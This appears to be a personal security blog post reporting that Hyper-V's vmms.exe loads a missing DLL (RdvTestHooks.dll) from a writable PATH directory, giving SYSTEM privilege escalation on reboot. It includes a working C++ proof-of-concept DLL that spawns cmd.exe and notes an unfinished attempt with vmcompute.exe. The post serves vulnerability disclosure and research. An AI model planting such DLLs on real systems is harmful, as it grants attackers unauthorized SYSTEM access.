In one of my darker moments, I decided to install Hyper-V on my Windows 10 desktop. While looking into other issues on my system, I noticed that during sytstem startup vmms.exe, which is related to Hyper-V, was looking for a DLL in a directory I had added to my path.

To test out if this was a potential DLL Search Order Hijacking issue, I created a DLL called RdvTestHooks.dll and copied it to my C:\test-path directory. The code for the DLL can be found below. It just starts a new cmd.exe process. Nothing fancy.
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <Windows.h>
#include <winternl.h>
#include <map>
#include <string>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if (ul_reason_for_call != DLL_PROCESS_ATTACH)
return TRUE;
// Do evil stuff
//Sleep(120000);
//_tmain();
system("start cmd.exe");
return TRUE;
}
I restarted my system, and Process Monitor showed that vmms.exe loaded my RdvTestHooks.dll file.

After the DLL was loaded, a new cmd.exe process was started with SYSTEM integrity.

Great! Writable path directory
+ DLL Search Order Hijacking
= Privilege Escalation to SYSTEM when the computer is restarted. Fortunately, Microsoft does not consider DLL search order hijacking a vulnerability to address.
You can add vmms.exe to the list of Windows executables that are vulnerable to DLL hijacking through a writable PATH. I didn’t see any mentions for vmms.exe so I figured I’d write this post, but maybe my Google searching skills are lacking.
vmcompute.exe
I saw something similar with the Hyper-V executable vmcomputer.exe during my testing.

I tried the same process of adding CCGLaunchPad.dll to my C:\test-path directory, but got a strange error when vmcompute.exe tried to load it.

I wasn’t able to figure out what INVALID DEVICE REQUEST meant, but I also didn’t spend more than 5 minutes on it. Maybe the person reading this can figure out how to get vmcompute.exe to load your CCGLaunchPad.dll file. Good luck!